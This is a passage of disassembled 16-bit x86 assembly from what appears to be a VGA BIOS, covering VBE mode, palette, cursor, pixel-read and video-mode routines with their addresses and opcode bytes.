0xc07bf LB 0x13 push DS ; 1e push bx ; 53 mov ax, strict word 00040h ; b8 40 00 mov ds, ax ; 8e d8 mov bx, 000b9h ; bb b9 00 mov al, byte [bx] ; 8a 07 and AL, strict byte 001h ; 24 01 db 032h, 0e4h ; xor ah, ah ; 32 e4 pop bx ; 5b pop DS ; 1f retn ; c3 vbe_biosfn_return_current_mode: ; 0xc07d2 LB 0x25 push DS ; 1e mov ax, strict word 00040h ; b8 40 00 mov ds, ax ; 8e d8 call 005f1h ; e8 16 fe and ax, strict byte 00001h ; 83 e0 01 je short 007e9h ; 74 09 mov bx, 000bah ; bb ba 00 mov ax, word [bx] ; 8b 07 db 08bh, 0d8h ; mov bx, ax ; 8b d8 jne short 007f2h ; 75 09 mov bx, strict word 00049h ; bb 49 00 mov al, byte [bx] ; 8a 07 db 08ah, 0d8h ; mov bl, al ; 8a d8 db 032h, 0ffh ; xor bh, bh ; 32 ff mov ax, strict word 0004fh ; b8 4f 00 pop DS ; 1f retn ; c3 vbe_biosfn_display_window_control: ; 0xc07f7 LB 0x2d cmp bl, 000h ; 80 fb 00 jne short 00820h ; 75 24 cmp bh, 001h ; 80 ff 01 je short 00817h ; 74 16 jc short 00807h ; 72 04 mov ax, 00100h ; b8 00 01 retn ; c3 db 08bh, 0c2h ; mov ax, dx ; 8b c2 call 00603h ; e8 f7 fd call 00617h ; e8 08 fe db 03bh, 0c2h ; cmp ax, dx ; 3b c2 jne short 00820h ; 75 0d mov ax, strict word 0004fh ; b8 4f 00 retn ; c3 call 00617h ; e8 fd fd db 08bh, 0d0h ; mov dx, ax ; 8b d0 mov ax, strict word 0004fh ; b8 4f 00 retn ; c3 mov ax, 0014fh ; b8 4f 01 retn ; c3 vbe_biosfn_set_get_display_start: ; 0xc0824 LB 0x34 cmp bl, 080h ; 80 fb 80 je short 00834h ; 74 0b cmp bl, 001h ; 80 fb 01 je short 00848h ; 74 1a jc short 0083ah ; 72 0a mov ax, 00100h ; b8 00 01 retn ; c3 call 00589h ; e8 52 fd call 0057ch ; e8 42 fd db 08bh, 0c1h ; mov ax, cx ; 8b c1 call 00669h ; e8 2a fe db 08bh, 0c2h ; mov ax, dx ; 8b c2 call 0068fh ; e8 4b fe mov ax, strict word 0004fh ; b8 4f 00 retn ; c3 call 0067dh ; e8 32 fe db 08bh, 0c8h ; mov cx, ax ; 8b c8 call 006a3h ; e8 53 fe db 08bh, 0d0h ; mov dx, ax ; 8b d0 db 032h, 0ffh ; xor bh, bh ; 32 ff mov ax, strict word 0004fh ; b8 4f 00 retn ; c3 vbe_biosfn_set_get_dac_palette_format: ; 0xc0858 LB 0x37 cmp bl, 001h ; 80 fb 01 je short 0087bh ; 74 1e jc short 00863h ; 72 04 mov ax, 00100h ; b8 00 01 retn ; c3 call 005f1h ; e8 8b fd cmp bh, 006h ; 80 ff 06 je short 00875h ; 74 0a cmp bh, 008h ; 80 ff 08 jne short 0088bh ; 75 1b or ax, strict byte 00020h ; 83 c8 20 jne short 00878h ; 75 03 and ax, strict byte 0ffdfh ; 83 e0 df call 005ddh ; e8 62 fd mov BH, strict byte 006h ; b7 06 call 005f1h ; e8 71 fd and ax, strict byte 00020h ; 83 e0 20 je short 00887h ; 74 02 mov BH, strict byte 008h ; b7 08 mov ax, strict word 0004fh ; b8 4f 00 retn ; c3 mov ax, 0014fh ; b8 4f 01 retn ; c3 vbe_biosfn_set_get_palette_data: ; 0xc088f LB 0x57 test bl, bl ; 84 db je short 008a2h ; 74 0f cmp bl, 001h ; 80 fb 01 je short 008c2h ; 74 2a cmp bl, 003h ; 80 fb 03 jbe short 008e2h ; 76 45 cmp bl, 080h ; 80 fb 80 jne short 008deh ; 75 3c pushaw ; 60 push DS ; 1e push ES ; 06 pop DS ; 1f db 08ah, 0c2h ; mov al, dl ; 8a c2 mov dx, 003c8h ; ba c8 03 out DX, AL ; ee inc dx ; 42 db 08bh, 0f7h ; mov si, di ; 8b f7 lodsw ; ad db 08bh, 0d8h ; mov bx, ax ; 8b d8 lodsw ; ad out DX, AL ; ee db 08ah, 0c7h ; mov al, bh ; 8a c7 out DX, AL ; ee db 08ah, 0c3h ; mov al, bl ; 8a c3 out DX, AL ; ee loop 008afh ; e2 f3 pop DS ; 1f popaw ; 61 mov ax, strict word 0004fh ; b8 4f 00 retn ; c3 pushaw ; 60 db 08ah, 0c2h ; mov al, dl ; 8a c2 mov dx, 003c7h ; ba c7 03 out DX, AL ; ee add dl, 002h ; 80 c2 02 db 033h, 0dbh ; xor bx, bx ; 33 db in AL, DX ; ec db 08ah, 0d8h ; mov bl, al ; 8a d8 in AL, DX ; ec db 08ah, 0e0h ; mov ah, al ; 8a e0 in AL, DX ; ec stosw ; ab db 08bh, 0c3h ; mov ax, bx ; 8b c3 stosw ; ab loop 008ceh ; e2 f3 popaw ; 61 jmp short 008beh ; eb e0 mov ax, 0014fh ; b8 4f 01 retn ; c3 mov ax, 0024fh ; b8 4f 02 retn ; c3 vbe_biosfn_return_protected_mode_interface: ; 0xc08e6 LB 0x17 test bl, bl ; 84 db jne short 008f9h ; 75 0f mov di, 0c000h ; bf 00 c0 mov es, di ; 8e c7 mov di, 04400h ; bf 00 44 mov cx, 00115h ; b9 15 01 mov ax, strict word 0004fh ; b8 4f 00 retn ; c3 mov ax, 0014fh ; b8 4f 01 retn ; c3 ; Padding 0x103 bytes at 0xc08fd times 259 db 0 section _TEXT progbits vstart=0xa00 align=1 ; size=0x32ed class=CODE group=AUTO set_int_vector_: ; 0xc0a00 LB 0x1b push bx ; 53 push bp ; 55 mov bp, sp ; 89 e5 mov bl, al ; 88 c3 xor bh, bh ; 30 ff sal bx, 002h ; c1 e3 02 xor ax, ax ; 31 c0 mov es, ax ; 8e c0 mov word [es:bx], dx ; 26 89 17 mov word [es:bx+002h], 0c000h ; 26 c7 47 02 00 c0 pop bp ; 5d pop bx ; 5b retn ; c3 init_vga_card_: ; 0xc0a1b LB 0x1c push bp ; 55 mov bp, sp ; 89 e5 push dx ; 52 mov AL, strict byte 0c3h ; b0 c3 mov dx, 003c2h ; ba c2 03 out DX, AL ; ee mov AL, strict byte 004h ; b0 04 mov dx, 003c4h ; ba c4 03 out DX, AL ; ee mov AL, strict byte 002h ; b0 02 mov dx, 003c5h ; ba c5 03 out DX, AL ; ee lea sp, [bp-002h] ; 8d 66 fe pop dx ; 5a pop bp ; 5d retn ; c3 init_bios_area_: ; 0xc0a37 LB 0x32 push bx ; 53 push bp ; 55 mov bp, sp ; 89 e5 xor bx, bx ; 31 db mov ax, strict word 00040h ; b8 40 00 mov es, ax ; 8e c0 mov al, byte [es:bx+010h] ; 26 8a 47 10 and AL, strict byte 0cfh ; 24 cf or AL, strict byte 020h ; 0c 20 mov byte [es:bx+010h], al ; 26 88 47 10 mov byte [es:bx+00085h], 010h ; 26 c6 87 85 00 10 mov word [es:bx+00087h], 0f960h ; 26 c7 87 87 00 60 f9 mov byte [es:bx+00089h], 051h ; 26 c6 87 89 00 51 mov byte [es:bx+065h], 009h ; 26 c6 47 65 09 pop bp ; 5d pop bx ; 5b retn ; c3 _vgabios_init_func: ; 0xc0a69 LB 0x22 inc bp ; 45 push bp ; 55 mov bp, sp ; 89 e5 call 00a1bh ; e8 ab ff call 00a37h ; e8 c4 ff call 0372ch ; e8 b6 2c mov dx, strict word 00022h ; ba 22 00 mov ax, strict word 00010h ; b8 10 00 call 00a00h ; e8 81 ff mov ax, strict word 00003h ; b8 03 00 db 032h, 0e4h ; xor ah, ah ; 32 e4 int 010h ; cd 10 mov sp, bp ; 89 ec pop bp ; 5d dec bp ; 4d retf ; cb vga_get_cursor_pos_: ; 0xc0a8b LB 0x46 push bp ; 55 mov bp, sp ; 89 e5 push cx ; 51 push si ; 56 mov cl, al ; 88 c1 mov si, dx ; 89 d6 cmp AL, strict byte 007h ; 3c 07 jbe short 00aa6h ; 76 0e push SS ; 16 pop ES ; 07 mov word [es:si], strict word 00000h ; 26 c7 04 00 00 mov word [es:bx], strict word 00000h ; 26 c7 07 00 00 jmp short 00acah ; eb 24 mov dx, strict word 00060h ; ba 60 00 mov ax, strict word 00040h ; b8 40 00 call 031a4h ; e8 f5 26 push SS ; 16 pop ES ; 07 mov word [es:si], ax ; 26 89 04 mov al, cl ; 88 c8 xor ah, ah ; 30 e4 mov dx, ax ; 89 c2 add dx, ax ; 01 c2 add dx, strict byte 00050h ; 83 c2 50 mov ax, strict word 00040h ; b8 40 00 call 031a4h ; e8 df 26 push SS ; 16 pop ES ; 07 mov word [es:bx], ax ; 26 89 07 lea sp, [bp-004h] ; 8d 66 fc pop si ; 5e pop cx ; 59 pop bp ; 5d retn ; c3 vga_read_char_attr_: ; 0xc0ad1 LB 0xb0 push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push cx ; 51 push si ; 56 push di ; 57 sub sp, strict byte 0000ch ; 83 ec 0c mov byte [bp-00ah], al ; 88 46 f6 mov si, dx ; 89 d6 mov dx, strict word 00049h ; ba 49 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 9f 26 xor ah, ah ; 30 e4 call 03160h ; e8 72 26 mov byte [bp-00ch], al ; 88 46 f4 cmp AL, strict byte 0ffh ; 3c ff je short 00b68h ; 74 73 mov al, byte [bp-00ah] ; 8a 46 f6 xor ah, ah ; 30 e4 lea bx, [bp-014h] ; 8d 5e ec lea dx, [bp-012h] ; 8d 56 ee call 00a8bh ; e8 88 ff mov al, byte [bp-014h] ; 8a 46 ec mov byte [bp-00eh], al ; 88 46 f2 mov ax, word [bp-014h] ; 8b 46 ec xor al, al ; 30 c0 shr ax, 008h ; c1 e8 08 mov word [bp-010h], ax ; 89 46 f0 mov dx, 00084h ; ba 84 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 6b 26 xor ah, ah ; 30 e4 mov di, ax ; 89 c7 inc di ; 47 mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 031a4h ; e8 79 26 mov cx, ax ; 89 c1 mov bl, byte [bp-00ch] ; 8a 5e f4 xor bh, bh ; 30 ff sal bx, 003h ; c1 e3 03 cmp byte [bx+04630h], 000h ; 80 bf 30 46 00 jne short 00b68h ; 75 2c mul di ; f7 e7 add ax, ax ; 01 c0 or AL, strict byte 0ffh ; 0c ff mov dl, byte [bp-00ah] ; 8a 56 f6 xor dh, dh ; 30 f6 inc ax ; 40 mul dx ; f7 e2 mov di, ax ; 89 c7 mov al, byte [bp-010h] ; 8a 46 f0 xor ah, ah ; 30 e4 mul cx ; f7 e1 mov dl, byte [bp-00eh] ; 8a 56 f2 xor dh, dh ; 30 f6 add dx, ax ; 01 c2 add dx, dx ; 01 d2 add dx, di ; 01 fa mov ax, word [bx+04633h] ; 8b 87 33 46 call 031a4h ; e8 3f 26 mov word [ss:si], ax ; 36 89 04 lea sp, [bp-008h] ; 8d 66 f8 pop di ; 5f pop si ; 5e pop cx ; 59 pop bx ; 5b pop bp ; 5d retn ; c3 xchg si, ax ; 96 db 00bh, 0d4h ; or dx, sp ; 0b d4 db 00bh, 0d9h ; or bx, cx ; 0b d9 db 00bh, 0e1h ; or sp, cx ; 0b e1 db 00bh, 0e6h ; or sp, si ; 0b e6 db 00bh, 0ebh ; or bp, bx ; 0b eb db 00bh, 0f0h ; or si, ax ; 0b f0 db 00bh, 0f5h ; or si, bp ; 0b f5 db 00bh vga_get_font_info_: ; 0xc0b81 LB 0x7b push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 mov si, dx ; 89 d6 cmp ax, strict word 00007h ; 3d 07 00 jnbe short 00bcbh ; 77 3e mov di, ax ; 89 c7 add di, ax ; 01 c7 jmp word [cs:di+00b71h] ; 2e ff a5 71 0b mov dx, strict word 0007ch ; ba 7c 00 xor ax, ax ; 31 c0 call 031c0h ; e8 22 26 push SS ; 16 pop ES ; 07 mov word [es:bx], ax ; 26 89 07 mov word [es:si], dx ; 26 89 14 mov dx, 00085h ; ba 85 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 d9 25 xor ah, ah ; 30 e4 push SS ; 16 pop ES ; 07 mov bx, cx ; 89 cb mov word [es:bx], ax ; 26 89 07 mov dx, 00084h ; ba 84 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 c7 25 xor ah, ah ; 30 e4 push SS ; 16 pop ES ; 07 mov bx, word [bp+004h] ; 8b 5e 04 mov word [es:bx], ax ; 26 89 07 lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn 00002h ; c2 02 00 mov dx, 0010ch ; ba 0c 01 jmp short 00b99h ; eb c0 mov ax, 05bedh ; b8 ed 5b mov dx, 0c000h ; ba 00 c0 jmp short 00b9eh ; eb bd mov ax, 053edh ; b8 ed 53 jmp short 00bdch ; eb f6 mov ax, 057edh ; b8 ed 57 jmp short 00bdch ; eb f1 mov ax, 079edh ; b8 ed 79 jmp short 00bdch ; eb ec mov ax, 069edh ; b8 ed 69 jmp short 00bdch ; eb e7 mov ax, 07b1ah ; b8 1a 7b jmp short 00bdch ; eb e2 jmp short 00bcbh ; eb cf vga_read_pixel_: ; 0xc0bfc LB 0x142 push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 sub sp, strict byte 00006h ; 83 ec 06 mov si, dx ; 89 d6 mov word [bp-00ah], bx ; 89 5e f6 mov di, cx ; 89 cf mov dx, strict word 00049h ; ba 49 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 74 25 xor ah, ah ; 30 e4 call 03160h ; e8 47 25 mov cl, al ; 88 c1 cmp AL, strict byte 0ffh ; 3c ff je short 00c2dh ; 74 0e mov bl, al ; 88 c3 xor bh, bh ; 30 ff sal bx, 003h ; c1 e3 03 cmp byte [bx+04630h], 000h ; 80 bf 30 46 00 jne short 00c30h ; 75 03 jmp near 00d37h ; e9 07 01 mov bl, byte [bx+04631h] ; 8a 9f 31 46 cmp bl, 003h ; 80 fb 03 jc short 00c48h ; 72 0f jbe short 00c50h ; 76 15 cmp bl, 005h ; 80 fb 05 je short 00caah ; 74 6a cmp bl, 004h ; 80 fb 04 je short 00c50h ; 74 0b jmp near 00d32h ; e9 ea 00 cmp bl, 002h ; 80 fb 02 je short 00cafh ; 74 62 jmp near 00d32h ; e9 e2 00 mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 031a4h ; e8 4b 25 mov bx, ax ; 89 c3 mov ax, word [bp-00ah] ; 8b 46 f6 mul bx ; f7 e3 mov bx, si ; 89 f3 shr bx, 003h ; c1 eb 03 add bx, ax ; 01 c3 mov cx, si ; 89 f1 and cx, strict byte 00007h ; 83 e1 07 mov ax, 00080h ; b8 80 00 sar ax, CL ; d3 f8 mov byte [bp-008h], al ; 88 46 f8 mov byte [bp-006h], ch ; 88 6e fa jmp short 00c7fh ; eb 06 cmp byte [bp-006h], 004h ; 80 7e fa 04 jnc short 00cach ; 73 2d mov al, byte [bp-006h] ; 8a 46 fa xor ah, ah ; 30 e4 sal ax, 008h ; c1 e0 08 or AL, strict byte 004h ; 0c 04 mov dx, 003ceh ; ba ce 03 out DX, ax ; ef mov dx, bx ; 89 da mov ax, 0a000h ; b8 00 a0 call 03188h ; e8 f3 24 and al, byte [bp-008h] ; 22 46 f8 test al, al ; 84 c0 jbe short 00ca5h ; 76 09 mov cl, byte [bp-006h] ; 8a 4e fa mov AL, strict byte 001h ; b0 01 sal al, CL ; d2 e0 or ch, al ; 08 c5 inc byte [bp-006h] ; fe 46 fa jmp short 00c79h ; eb cf jmp short 00d11h ; eb 65 jmp near 00d34h ; e9 85 00 mov ax, word [bp-00ah] ; 8b 46 f6 shr ax, 1 ; d1 e8 imul ax, ax, strict byte 00050h ; 6b c0 50 mov bx, si ; 89 f3 shr bx, 002h ; c1 eb 02 add bx, ax ; 01 c3 test byte [bp-00ah], 001h ; f6 46 f6 01 je short 00cc7h ; 74 03 add bh, 020h ; 80 c7 20 mov dx, bx ; 89 da mov ax, 0b800h ; b8 00 b8 call 03188h ; e8 b9 24 mov bl, cl ; 88 cb xor bh, bh ; 30 ff sal bx, 003h ; c1 e3 03 cmp byte [bx+04632h], 002h ; 80 bf 32 46 02 jne short 00cf8h ; 75 1b mov cx, si ; 89 f1 xor ch, ch ; 30 ed and cl, 003h ; 80 e1 03 mov bx, strict word 00003h ; bb 03 00 sub bx, cx ; 29 cb mov cx, bx ; 89 d9 add cx, bx ; 01 d9 xor ah, ah ; 30 e4 sar ax, CL ; d3 f8 mov ch, al ; 88 c5 and ch, 003h ; 80 e5 03 jmp short 00d34h ; eb 3c mov cx, si ; 89 f1 xor ch, ch ; 30 ed and cl, 007h ; 80 e1 07 mov bx, strict word 00007h ; bb 07 00 sub bx, cx ; 29 cb mov cx, bx ; 89 d9 xor ah, ah ; 30 e4 sar ax, CL ; d3 f8 mov ch, al ; 88 c5 and ch, 001h ; 80 e5 01 jmp short 00d34h ; eb 23 mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 031a4h ; e8 8a 24 mov bx, ax ; 89 c3 sal bx, 003h ; c1 e3 03 mov ax, word [bp-00ah] ; 8b 46 f6 mul bx ; f7 e3 mov dx, si ; 89 f2 add dx, ax ; 01 c2 mov ax, 0a000h ; b8 00 a0 call 03188h ; e8 5a 24 mov ch, al ; 88 c5 jmp short 00d34h ; eb 02 xor ch, ch ; 30 ed mov byte [ss:di], ch ; 36 88 2d lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn ; c3 biosfn_perform_gray_scale_summing_: ; 0xc0d3e LB 0x8d push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push cx ; 51 push si ; 56 push di ; 57 push ax ; 50 push ax ; 50 mov bx, ax ; 89 c3 mov di, dx ; 89 d7 mov dx, 003dah ; ba da 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 xor al, al ; 30 c0 mov dx, 003c0h ; ba c0 03 out DX, AL ; ee xor si, si ; 31 f6 cmp si, di ; 39 fe jnc short 00db0h ; 73 53 mov al, bl ; 88 d8 mov dx, 003c7h ; ba c7 03 out DX, AL ; ee mov dx, 003c9h ; ba c9 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 mov cx, ax ; 89 c1 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 mov word [bp-00ch], ax ; 89 46 f4 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 xor ch, ch ; 30 ed imul cx, cx, strict byte 0004dh ; 6b c9 4d mov word [bp-00ah], cx ; 89 4e f6 mov cl, byte [bp-00ch] ; 8a 4e f4 xor ch, ch ; 30 ed imul cx, cx, 00097h ; 69 c9 97 00 add cx, word [bp-00ah] ; 03 4e f6 xor ah, ah ; 30 e4 imul ax, ax, strict byte 0001ch ; 6b c0 1c add cx, ax ; 01 c1 add cx, 00080h ; 81 c1 80 00 sar cx, 008h ; c1 f9 08 cmp cx, strict byte 0003fh ; 83 f9 3f jbe short 00d9eh ; 76 03 mov cx, strict word 0003fh ; b9 3f 00 mov al, bl ; 88 d8 mov dx, 003c8h ; ba c8 03 out DX, AL ; ee mov al, cl ; 88 c8 mov dx, 003c9h ; ba c9 03 out DX, AL ; ee out DX, AL ; ee out DX, AL ; ee inc bx ; 43 inc si ; 46 jmp short 00d59h ; eb a9 mov dx, 003dah ; ba da 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 mov AL, strict byte 020h ; b0 20 mov dx, 003c0h ; ba c0 03 out DX, AL ; ee mov dx, 003dah ; ba da 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 lea sp, [bp-008h] ; 8d 66 f8 pop di ; 5f pop si ; 5e pop cx ; 59 pop bx ; 5b pop bp ; 5d retn ; c3 biosfn_set_cursor_shape_: ; 0xc0dcb LB 0xae push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push cx ; 51 push si ; 56 push di ; 57 push ax ; 50 push ax ; 50 mov cl, al ; 88 c1 mov ch, dl ; 88 d5 and cl, 03fh ; 80 e1 3f and ch, 01fh ; 80 e5 1f mov al, cl ; 88 c8 xor ah, ah ; 30 e4 mov di, ax ; 89 c7 mov bx, ax ; 89 c3 sal bx, 008h ; c1 e3 08 mov al, ch ; 88 e8 mov si, ax ; 89 c6 add bx, ax ; 01 c3 mov dx, strict word 00060h ; ba 60 00 mov ax, strict word 00040h ; b8 40 00 call 031b2h ; e8 ba 23 mov dx, 00089h ; ba 89 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 87 23 mov byte [bp-00ah], al ; 88 46 f6 mov dx, 00085h ; ba 85 00 mov ax, strict word 00040h ; b8 40 00 call 031a4h ; e8 97 23 mov bx, ax ; 89 c3 mov word [bp-00ch], ax ; 89 46 f4 test byte [bp-00ah], 001h ; f6 46 f6 01 je short 00e4eh ; 74 36 cmp ax, strict word 00008h ; 3d 08 00 jbe short 00e4eh ; 76 31 cmp ch, 008h ; 80 fd 08 jnc short 00e4eh ; 73 2c cmp cl, 020h ; 80 f9 20 jnc short 00e4eh ; 73 27 lea ax, [di+001h] ; 8d 45 01 cmp si, ax ; 39 c6 je short 00e36h ; 74 08 mul bx ; f7 e3 shr ax, 003h ; c1 e8 03 dec ax ; 48 jmp short 00e3eh ; eb 08 inc ax ; 40 mul bx ; f7 e3 shr ax, 003h ; c1 e8 03 dec ax ; 48 dec ax ; 48 mov cl, al ; 88 c1 mov al, ch ; 88 e8 xor ah, ah ; 30 e4 inc ax ; 40 mul word [bp-00ch] ; f7 66 f4 shr ax, 003h ; c1 e8 03 dec ax ; 48 mov ch, al ; 88 c5 mov dx, strict word 00063h ; ba 63 00 mov ax, strict word 00040h ; b8 40 00 call 031a4h ; e8 4d 23 mov bx, ax ; 89 c3 mov AL, strict byte 00ah ; b0 0a mov dx, bx ; 89 da out DX, AL ; ee lea si, [bx+001h] ; 8d 77 01 mov al, cl ; 88 c8 mov dx, si ; 89 f2 out DX, AL ; ee mov AL, strict byte 00bh ; b0 0b mov dx, bx ; 89 da out DX, AL ; ee mov al, ch ; 88 e8 mov dx, si ; 89 f2 out DX, AL ; ee lea sp, [bp-008h] ; 8d 66 f8 pop di ; 5f pop si ; 5e pop cx ; 59 pop bx ; 5b pop bp ; 5d retn ; c3 biosfn_set_cursor_pos_: ; 0xc0e79 LB 0xb5 push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push cx ; 51 push si ; 56 push ax ; 50 push ax ; 50 mov cl, al ; 88 c1 mov word [bp-00ah], dx ; 89 56 f6 cmp AL, strict byte 007h ; 3c 07 jbe short 00e8dh ; 76 03 jmp near 00f26h ; e9 99 00 xor ah, ah ; 30 e4 mov dx, ax ; 89 c2 add dx, ax ; 01 c2 add dx, strict byte 00050h ; 83 c2 50 mov bx, word [bp-00ah] ; 8b 5e f6 mov ax, strict word 00040h ; b8 40 00 call 031b2h ; e8 13 23 mov dx, strict word 00062h ; ba 62 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 e0 22 cmp cl, al ; 38 c1 jne short 00f26h ; 75 7a mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 031a4h ; e8 ef 22 mov bx, ax ; 89 c3 mov dx, 00084h ; ba 84 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 c8 22 xor ah, ah ; 30 e4 mov dx, ax ; 89 c2 inc dx ; 42 mov al, byte [bp-00ah] ; 8a 46 f6 mov byte [bp-008h], al ; 88 46 f8 mov ax, word [bp-00ah] ; 8b 46 f6 xor al, al ; 30 c0 shr ax, 008h ; c1 e8 08 mov ch, al ; 88 c5 mov ax, bx ; 89 d8 mul dx ; f7 e2 or AL, strict byte 0ffh ; 0c ff mov si, ax ; 89 c6 mov al, cl ; 88 c8 xor ah, ah ; 30 e4 mov dx, ax ; 89 c2 lea ax, [si+001h] ; 8d 44 01 mul dx ; f7 e2 mov dl, byte [bp-008h] ; 8a 56 f8 xor dh, dh ; 30 f6 mov si, ax ; 89 c6 add si, dx ; 01 d6 mov cl, ch ; 88 e9 xor ch, ch ; 30 ed mov ax, cx ; 89 c8 mul bx ; f7 e3 add si, ax ; 01 c6 mov dx, strict word 00063h ; ba 63 00 mov ax, strict word 00040h ; b8 40 00 call 031a4h ; e8 a0 22 mov bx, ax ; 89 c3 mov AL, strict byte 00eh ; b0 0e mov dx, bx ; 89 da out DX, AL ; ee mov ax, si ; 89 f0 xor al, al ; 30 c0 shr ax, 008h ; c1 e8 08 lea cx, [bx+001h] ; 8d 4f 01 mov dx, cx ; 89 ca out DX, AL ; ee mov AL, strict byte 00fh ; b0 0f mov dx, bx ; 89 da out DX, AL ; ee and si, 000ffh ; 81 e6 ff 00 mov ax, si ; 89 f0 mov dx, cx ; 89 ca out DX, AL ; ee lea sp, [bp-006h] ; 8d 66 fa pop si ; 5e pop cx ; 59 pop bx ; 5b pop bp ; 5d retn ; c3 biosfn_set_active_page_: ; 0xc0f2e LB 0xee push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push cx ; 51 push dx ; 52 push si ; 56 sub sp, strict byte 00006h ; 83 ec 06 mov byte [bp-00ah], al ; 88 46 f6 cmp AL, strict byte 007h ; 3c 07 jnbe short 00f53h ; 77 14 mov dx, strict word 00049h ; ba 49 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 40 22 xor ah, ah ; 30 e4 call 03160h ; e8 13 22 mov cl, al ; 88 c1 cmp AL, strict byte 0ffh ; 3c ff jne short 00f56h ; 75 03 jmp near 01013h ; e9 bd 00 mov al, byte [bp-00ah] ; 8a 46 f6 xor ah, ah ; 30 e4 lea bx, [bp-00eh] ; 8d 5e f2 lea dx, [bp-00ch] ; 8d 56 f4 call 00a8bh ; e8 27 fb mov bl, cl ; 88 cb xor bh, bh ; 30 ff mov si, bx ; 89 de sal si, 003h ; c1 e6 03 cmp byte [si+04630h], 000h ; 80 bc 30 46 00 jne short 00fbah ; 75 46 mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 031a4h ; e8 27 22 mov bx, ax ; 89 c3 mov dx, 00084h ; ba 84 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 00 22 xor ah, ah ; 30 e4 mov dx, ax ; 89 c2 inc dx ; 42 mov ax, bx ; 89 d8 mul dx ; f7 e2 mov cx, ax ; 89 c1 add ax, ax ; 01 c0 or AL, strict byte 0ffh ; 0c ff mov dx, ax ; 89 c2 mov al, byte [bp-00ah] ; 8a 46 f6 xor ah, ah ; 30 e4 mov si, ax ; 89 c6 mov ax, dx ; 89 d0 inc ax ; 40 mul si ; f7 e6 mov bx, ax ; 89 c3 mov dx, strict word 0004eh ; ba 4e 00 mov ax, strict word 00040h ; b8 40 00 call 031b2h ; e8 02 22 or cl, 0ffh ; 80 c9 ff mov ax, cx ; 89 c8 inc ax ; 40 mul si ; f7 e6 jmp short 00fd0h ; eb 16 mov al, byte [bx+046afh] ; 8a 87 af 46 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 sal bx, 006h ; c1 e3 06 mov cl, byte [bp-00ah] ; 8a 4e f6 xor ch, ch ; 30 ed mov ax, cx ; 89 c8 mul word [bx+046c6h] ; f7 a7 c6 46 mov bx, ax ; 89 c3 mov dx, strict word 00063h ; ba 63 00 mov ax, strict word 00040h ; b8 40 00 call 031a4h ; e8 c9 21 mov cx, ax ; 89 c1 mov AL, strict byte 00ch ; b0 0c mov dx, cx ; 89 ca out DX, AL ; ee mov ax, bx ; 89 d8 xor al, bl ; 30 d8 shr ax, 008h ; c1 e8 08 mov si, cx ; 89 ce inc si ; 46 mov dx, si ; 89 f2 out DX, AL ; ee mov AL, strict byte 00dh ; b0 0d mov dx, cx ; 89 ca out DX, AL ; ee xor bh, bh ; 30 ff mov ax, bx ; 89 d8 mov dx, si ; 89 f2 out DX, AL ; ee mov cl, byte [bp-00ah] ; 8a 4e f6 xor ch, ch ; 30 ed mov bx, cx ; 89 cb mov dx, strict word 00062h ; ba 62 00 mov ax, strict word 00040h ; b8 40 00 call 03196h ; e8 8b 21 mov dx, word [bp-00eh] ; 8b 56 f2 mov ax, cx ; 89 c8 call 00e79h ; e8 66 fe lea sp, [bp-008h] ; 8d 66 f8 pop si ; 5e pop dx ; 5a pop cx ; 59 pop bx ; 5b pop bp ; 5d retn ; c3 biosfn_set_video_mode_: ; 0xc101c LB 0x3d9 push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push cx ; 51 push dx ; 52 push si ; 56 push di ; 57 sub sp, strict byte 00014h ; 83 ec 14 mov byte [bp-00ch], al ; 88 46 f4 and AL, strict byte 080h ; 24 80 mov byte [bp-012h], al ; 88 46 ee call 007bfh ; e8 8d f7 test ax, ax ; 85 c0 je short 01042h ; 74 0c mov AL, strict byte 007h ; b0 07 mov dx, 003c4h ; ba c4 03 out DX, AL ; ee xor al, al ; 30 c0 mov dx, 003c5h ; ba c5 03 out DX, AL ; ee and byte [bp-00ch], 07fh ; 80 66 f4 7f cmp byte [bp-00ch], 007h ; 80 7e f4 07 jne short 01050h ; 75 04 mov byte [bp-00ch], 000h ; c6 46 f4 00 mov al, byte [bp-00ch] ; 8a 46 f4 xor ah, ah ; 30 e4 call 03160h ; e8 08 21 mov byte [bp-010h], al ; 88 46 f0 cmp AL, strict byte 0ffh ; 3c ff jne short 01062h ; 75 03 jmp near 013ebh ; e9 89 03 mov byte [bp-01ch], al ; 88 46 e4 mov byte [bp-01bh], 000h ; c6 46 e5 00 mov bx, word [bp-01ch] ; 8b 5e e4 mov al, byte [bx+046afh] ; 8a 87 af 